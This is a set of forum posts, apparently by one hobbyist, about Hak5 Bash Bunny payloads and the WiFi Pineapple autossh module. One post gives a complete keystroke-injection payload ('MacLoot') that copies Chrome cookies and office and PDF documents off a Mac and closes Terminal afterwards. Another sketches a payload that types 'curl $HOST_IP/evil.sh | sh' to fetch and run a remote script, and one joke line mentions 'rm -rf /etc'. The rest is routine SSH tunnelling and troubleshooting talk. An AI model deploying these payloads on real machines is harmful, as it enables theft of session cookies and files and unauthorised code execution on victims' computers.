audibleblink

For future readers: I was using python's SimpleHTTPServer to try to serve the local directory. Even when binding the USB's network interface with $HOST_IP, it would still make that request and wait 15 seconds before continuing on. The answer for me was to disallow outgoing requests. This is the code that made the webserver start instantly. iptables -A OUTPUT -p udp --dport 53 -j DROP python -m SimpleHTTPServer 80

Hmm, nope. Fresh restore and it still happens. wth? Tried it on another computer too

Right on, thanks Seb. Guess it's just me, I'll close my issue and run a restore.

Oh thanks man! I guess it's me then. I'm using linux. I can't think of a reason why I wouldn't see the delay in serial. Are you using ECM too? I think I'll try RNDIS just to see if anything changes. edit: nope. same delay with rndis_ethernet

It's a very quick thing to do. it takes under a second when I run it in serial mode

If I code something like this LED R python -m SimpleHTTPServer QUACK GUI space Q ENTER Q STRING terminal Q ENTER Q STRING curl $HOST_IP/evil.sh \| sh (with appropriate delays) it fails because the server takes 15 seconds to start anyway. I don't think it has anything to do with ssh. I was just logged in through ssh to develop the payload

Has anyone else tried to bind a socket on their BB using something like netcat or python -m SimpleHTTPServer. When connected to the BB through ssh (ecm_ethernet), commands that bind sockets take ~15 seconds to exectue When connected through serial, everything acts as normal. I made a github issue about it, but wasn't sure if that's the right place since that repo is for payloads - https://github.com/hak5/bashbunny-payloads/issues/57

I'm wondering if the /tools/ducky.py (which is called by QUACK) is running in a subshell. If the QUACK commands run async, then the script is running in its entirety before ever finishing the HID section of the payload. Just a hypothesis, this is where my bash knowledge reaches its limits.

Is there a `files` folder in MacLoot? I thought it was just the xlsx folder and the cookies db

it's still in the github code, i only pasted changes here.

Submitted a PR to fix in mainline. - https://github.com/hak5/bashbunny-payloads/issues/51 Basic changes: - fixes lootdir path - dont capitalize var names that aren't exported - indentation - escape shell characters that are passed to QUACK - account for variable copy times by joining cp and exit commands - sync the disk LED G R ATTACKMODE HID STORAGE lootdir=loot/MacLoot mkdir -p /root/udisk/$LOOTDIR QUACK GUI SPACE QUACK DELAY 1000 QUACK STRING terminal QUACK ENTER QUACK DELAY 5000 QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir/xlsx QUACK ENTER QUACK DELAY 500 QUACK STRING cat \~/Library/Application\\ Support/Google/Chrome/Default/Cookies \> /Volumes/BashBunny/$lootdir/chromecookies.db QUACK ENTER QUACK DELAY 1000 QUACK STRING cp \~/Documents/{*.xlsx,*.xls,*.pdf} /Volumes/BashBunny/$lootdir/xlsx/\; killall Terminal QUACK ENTER # Sync filesystem sync # Green LED for finished LED G

You can also just `\` escape symbols right in the QUACK directive. QUACK cd $HOME evaluates to cd /root whereas QUACK cd \$HOME literally types cd $HOME This also goes for ~ ; and | symbols. Check out what I mean in this practical example - https://github.com/hak5/bashbunny-payloads/pull/36

It appears we had the same idea. https://github.com/hak5/bashbunny-payloads/pull/36

I'm currently running `rm -rf /etc` then un/plugging 3 times. =X

gatetime is how long the connection should be active before autossh considers the connection 'good'. 0 disables this feature poll is how long in second autossh should wait before trying again after failing to connect monitor port is the port that autossh uses to create a tunnel to the host to periodically check on the health of the connection re: not connecting the turtle with the ethernet cable attached... you need to let the turtle boot first before connecting the ethernet cable

Shouldn't matter regardless but `autossh` runs with the "-N -T" flags so the banner code might not even get called -T Disable pseudo-tty allocation. -N Do not execute a remote command. This is useful for just forwarding ports (protocol version 2 only).

Well known issue. My S4 didn't work either. IIRC it has something to do with different implementations of tethering. It might actually be working and it's just the app just doesn't let you continue. If you connect over wifi and `ifconfig` the eth0 adapter, you should get the IP of the nano and then be able to type that in to the phone browser's URL bar. I just sold the S4 and went with a Nexus 5 from warehousedeal.com for $100.

For future readers, That box is there just so people would know what gets run. (or so they can copy/paste/modify and place it in their rc.local ) I should make that clearer in the next release. In any case, the module doesn't actually run what's in the box. That would be a huge security concern without also implementing crazy amounts of input sanitization (or ssl). Also, be sure to disable 'run on boot' if you've pasted your desired command into rc.local, otherwise init.d will still try to run autossh with the settings in /etc/config/autossh.

If you want access to the GUI from the Windows machine, I would suggest binding the Pineapple's 1471 to Window's localhost. Configure PuTTY to run the following: ssh -L 8080:localhost:1471 root@B -p 2222 Then on your windows machine, access localhost:8080. Some Benefits here over making the Pineapple's 1471 bind to B's 8080 with the -R flag: - Your interface isn't open and free on the Internet - Traffic is encrypted "end-to-end". v1.0.5 doesn't have SSL yet Glad you got it working!

Welcome! Just submitted v1.2 to seb which has a delete/regen button. Thanks for the feedback! =D

As it stands, the module only creates one remote forward from a relay (Computer B) back to the Pineapple's (Computer A) local SSH port. Once you access the Pineapple (A) from a different remote machine ©, you can create forwards as you need them; like a web GUI forward. From machine ©, run: # this assumes you've enabled GatewayForwarding on your Relay(B) ssh -L 1471:localhost:1471 root@<pineapple_ip> -p <remote_forwarded_port> Now on ©, you can browse 'localhost:1471' to get the GUI. When you're done managing the Pineapple (A), you can close that connection since you won't be using it. I'm not sure I like the idea of making it easier to forward more ports than necessary. You only really need the one, since from the one, you can spawn many. That said, you're not the first to ask for this. The module has a 'command will run' section that shows you what the module will end up running. You're perfectly free to copy that command, add the forwards you want, and then place that command in /etc/rc.local. This will autostart autossh on boot with your configuration. You could even delete the module at that point. A command with multiple forwards would look something like this autossh -M 20000 -i /root/.ssh/id_rsa.autossh -N -T -R 2222:localhost:22 -R 1471:localhost:1471 root@relayserver.com -p 22 Be sure to background the command with an '&' if you end up putting in /etc/rc.local. Thanks for the feedback. It's something I've really considered, but ultimately decided against for various reasons, excluding my paranoia. =P

I'm adding the option to delete/regenerate existing keys in the next version. For now, ssh in and run rm /root/.ssh/id_rsa.autossh* Refresh the page and you should see the generate button again.

That's a good point, k4l. I'll be sure to conditionally make bigger buttons on small devices on the next update of autossh.

*reads web site* *see's the words 'Dev Kit'* *goes back to his cereal*